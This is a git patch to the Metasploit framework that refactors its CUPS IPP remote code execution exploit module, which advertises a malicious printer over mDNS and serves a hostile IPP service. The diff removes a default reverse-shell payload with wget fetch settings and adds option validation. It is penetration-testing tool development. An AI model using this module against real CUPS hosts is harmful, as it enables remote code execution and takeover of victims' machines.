From 24d3ef16cfbc421adcd70a7e6f827730b0597d34 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 21 Nov 2024 15:08:43 -0500 Subject: [PATCH] Remove some unnecessary code, switch to passive stance --- lib/rex/proto/dns/server.rb | 3 + .../misc/cups_ipp_remote_code_execution.rb | 62 ++++++++----------- 2 files changed, 28 insertions(+), 37 deletions(-) diff --git a/lib/rex/proto/dns/server.rb b/lib/rex/proto/dns/server.rb index a324b11b3b9b..03cb63a45517 100644 --- a/lib/rex/proto/dns/server.rb +++ b/lib/rex/proto/dns/server.rb @@ -9,8 +9,11 @@ module DNS class Server class MockDnsClient + extend Forwardable attr_reader :peerhost, :peerport, :srvsock + def_delegators :@srvsock, :localhost, :localport, :sendto + # # Create mock DNS client # diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 1ccdf2d83c6a..0909dda13afc 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -133,20 +133,10 @@ def initialize(info = {}) 'Platform' => %w[linux unix], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', - 'RPORT' => 443, - 'SSL' => true, - 'FETCH_WRITABLE_DIR' => '/var/tmp', - # Three hours by default, but can be modified for longer or shorter listening periods - 'WfsDelay' => 10_800 + 'FETCH_WRITABLE_DIR' => '/var/tmp' }, - 'Actions' => [ - ['Service', { 'Description' => 'Run mDNS service' }] - ], - 'PassiveActions' => [ - 'Service' - ], + 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultAction' => 'Service', 'DefaultTarget' => 0, 'DisclosureDate' => '2024-09-26', @@ -171,41 +161,48 @@ def initialize(info = {}) register_options( [ - OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']), + OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) ] ) end + def validate + super + + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'}) + end + + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) + end + end + # # Wrapper for service execution and cleanup # def exploit - if datastore['SRVHOST'] == '0.0.0.0' - fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0') - end @printer_uuid = SecureRandom.uuid start_mdns_service start_ipp_service print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised") - print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds") service.wait rescue Rex::BindFailed => e print_error "Failed to bind to port: #{e.message}" end # mDNS code below - def start_mdns_service - comm = _determine_server_comm(bindhost) self.service = Rex::ServiceManager.start( Rex::Proto::MDNS::Server, '0.0.0.0', 5353, false, nil, - comm, + Rex::Socket::Comm::Local, { 'Msf' => framework, 'MsfExploit' => self } ) @@ -355,23 +352,14 @@ def create_ipp_response(version_major, version_minor, request_id) # IPP servers communicate using a binary protocol via HTTP # def start_ipp_service - comm = _determine_server_comm(datastore['SRVHOST']) - - # If the IPP web service is still present from a previous run, initialize state - if service2 - service2.remove_resource('/ipp/print') - service2.stop - self.service2 = nil - end - # Start the IPP web service self.service2 = Rex::ServiceManager.start( Rex::Proto::Http::Server, - datastore['SRVPORT'], - datastore['SRVHOST'], + srvport, + srvhost, false, { 'Msf' => framework, 'MsfExploit' => self }, - comm + Rex::Socket::Comm::Local ) # Register a route for queries to the printer @@ -418,9 +406,9 @@ def start_ipp_service end, 'Path' => '/ipp/print') - print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}") rescue Rex::BindFailed => e - vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}") raise e end @@ -537,7 +525,7 @@ def on_dispatch_mdns_request(cli, data) 'pdl=application/postscript,application/pdf', # The "adminurl" value may or may not be queried, depending on the victim type # Points to our malicious HTTP IPP service - "adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}", + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", 'priority=0', 'color=T', 'duplex=T', @@ -582,15 +570,15 @@ def on_dispatch_mdns_request(cli, data) def on_send_mdns_response(cli, data) # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots - cli.instance_variable_set(:@peerhost, '224.0.0.251') # Log to console in VERBOSE mode, then write response vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") - cli.write(data) + cli.sendto(data, '224.0.0.251', cli.peerport) end def cleanup super + if service2 # Remove the IPP resource before stopping the HTTP service service2.remove_resource('/ipp/print')